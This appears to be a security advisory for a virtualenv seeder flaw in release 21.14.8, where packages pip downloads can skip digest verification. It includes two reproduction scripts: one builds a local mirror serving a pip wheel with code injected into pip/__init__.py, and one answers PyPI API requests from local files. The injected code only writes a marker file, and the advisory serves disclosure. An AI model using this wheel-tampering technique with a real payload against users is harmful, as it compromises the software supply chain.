Advisory

GHSA-cx28-75q4-x26q

Details, part 2 of 2. The advisory

Details

`repro.d/make_mirror.py`

#!/usr/bin/env python3
# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
import os
import sys
import zipfile

genuine_wheel, mirror, marker = sys.argv[1:]
wheel_name = os.path.basename(genuine_wheel)
payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip")
with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
    for entry in genuine.infolist():
        data = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            data += payload.encode()
        served.writestr(entry, data)

# PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
with open(f"{mirror}/pip/index.html", "w") as page:
    page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')

`repro.d/virtualenv_offline.py`

#!/usr/bin/env python3
# usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
import sys

from virtualenv.__main__ import run_with_catch
from virtualenv.seed.wheels import periodic_update

pypi_org = sys.argv[1]


def pypi_json_api(url, context=None):
    return open(url.replace("https://pypi.org", pypi_org), "rb")


periodic_update.urlopen = pypi_json_api
run_with_catch(sys.argv[2:])

Impact

The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by
itself defeat TLS or establish control of an index response.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix acquires wheels through the shared verification path and installs pinned names with index lookup
disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze
output.

Fix: PR #3430.

Known mitigation

On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives
separately.

Affected release

  • [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.

Sources & licences